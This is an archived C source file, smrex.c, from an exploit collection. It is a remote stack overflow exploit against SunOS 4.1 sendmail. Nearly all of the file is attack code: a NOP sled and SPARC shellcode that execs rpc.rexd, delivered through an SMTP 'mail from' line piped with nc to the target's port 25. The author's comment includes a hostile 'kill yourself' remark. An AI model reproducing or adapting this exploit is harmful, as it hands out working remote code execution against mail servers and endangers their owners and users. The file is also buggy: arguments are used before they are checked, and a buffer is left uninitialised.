home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / smrex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  94 lines

  1. /*
  2.  *  Overflow for Sunos 4.1 sendmail - execs /usr/etc/rpc.rexd.
  3.  *  If you don't know what to do from there, kill yourself.
  4.  *  Remote stack pointer is guessed, the offset from it to the code is 188.
  5.  *
  6.  *  Use:    smrex buffersize padding |nc hostname 25
  7.  *
  8.  *  where `padding` is a small integer, 1 works on my sparc 1+
  9.  *
  10.  *  I use smrex 84 1, play with the numbers and see what happens.  The core
  11.  *  gets dumped in /var/spool/mqueue if you fuck up, fire up adb, hit $r and
  12.  *  see where your offsets went wrong :)
  13.  *
  14.  *  I don't *think* this is the 8lgm syslog() overflow - see how many versions
  15.  *  of sendmail this has carried over into and let me know.  Or don't, I
  16.  *  wouldn't :)
  17.  *
  18.  *  P.S. I'm *sure* there are cleverer ways of doing this overflow.  So sue
  19.  *  me, I'm new to this overflow business..in my day everyone ran YPSERV and
  20.  *  things were far simpler... :)
  21.  *
  22.  *  The Army of the Twelve Monkeys in '98 - still free, still kicking arse.
  23.  */
  24.  
  25. #include <stdio.h>
  26.  
  27. int main(int argc, char **argv)
  28. {
  29.   long unsigned int large_string[10000];
  30.   int i, prelude;
  31.   unsigned long offset;
  32.   char padding[50];
  33.  
  34.   offset  = 188;                          /* Magic numbers */
  35.   prelude = atoi(argv[1]);
  36.  
  37.   if (argc < 2)
  38.     {
  39.       printf("Usage: %s  bufsize <alignment offset> | nc target 25\n",
  40.              argv[0]);
  41.       exit(1);
  42.     }
  43.  
  44.   for (i = 6; i < (6 + atoi(argv[2])); i++)
  45.     {
  46.       strcat(padding, "A");
  47.     }
  48.   for(i = 0; i < prelude; i++)
  49.     {
  50.       large_string[i] = 0xfffffff0;       /* Illegal instruction */
  51.     }
  52.  
  53.   large_string[prelude] = 0xf7ffef50;     /* Arbitrary overwrite of %fp */
  54.  
  55.   large_string[prelude + 1] = 0xf7fff00c; /* Works for me; address of code */
  56.  
  57.   for( i = (prelude + 2); i < (prelude + 64); i++)
  58.     {
  59.       large_string[i] = 0xa61cc013;       /* Lots of sparc NOP's */
  60.     }
  61.  
  62.   /* Now the sparc execve /usr/etc/rpc.rexd code.. */
  63.  
  64.   large_string[prelude + 64] = 0x250bcbc8;
  65.   large_string[prelude + 65] = 0xa414af75;
  66.   large_string[prelude + 66] = 0x271cdc88;
  67.   large_string[prelude + 67] = 0xa614ef65;
  68.   large_string[prelude + 68] = 0x291d18c8;
  69.   large_string[prelude + 69] = 0xa8152f72;
  70.   large_string[prelude + 70] = 0x2b1c18c8;
  71.   large_string[prelude + 71] = 0xaa156e72;
  72.   large_string[prelude + 72] = 0x2d195e19;
  73.   large_string[prelude + 73] = 0x900b800e;
  74.   large_string[prelude + 74] = 0x9203a014;
  75.   large_string[prelude + 75] = 0x941ac00b;
  76.   large_string[prelude + 76] = 0x9c03a104;
  77.   large_string[prelude + 77] = 0xe43bbefc;
  78.   large_string[prelude + 78] = 0xe83bbf04;
  79.   large_string[prelude + 79] = 0xec23bf0c;
  80.   large_string[prelude + 80] = 0xdc23bf10;
  81.   large_string[prelude + 81] = 0xc023bf14;
  82.   large_string[prelude + 82] = 0x8210203b;
  83.   large_string[prelude + 83] = 0xaa103fff;
  84.   large_string[prelude + 84] = 0x91d56001;
  85.   large_string[prelude + 85] = 0xa61cc013;
  86.   large_string[prelude + 86] = 0xa61cc013;
  87.   large_string[prelude + 87] = 0xa61cc013;
  88.   large_string[prelude + 88] = 0;
  89.  
  90.   /* And finally, the overflow..simple, huh? :) */
  91.   printf("helo\n");
  92.   printf("mail from: %s%s\n", padding, large_string);
  93. }
  94. /*                    www.hack.co.za              [2000]*/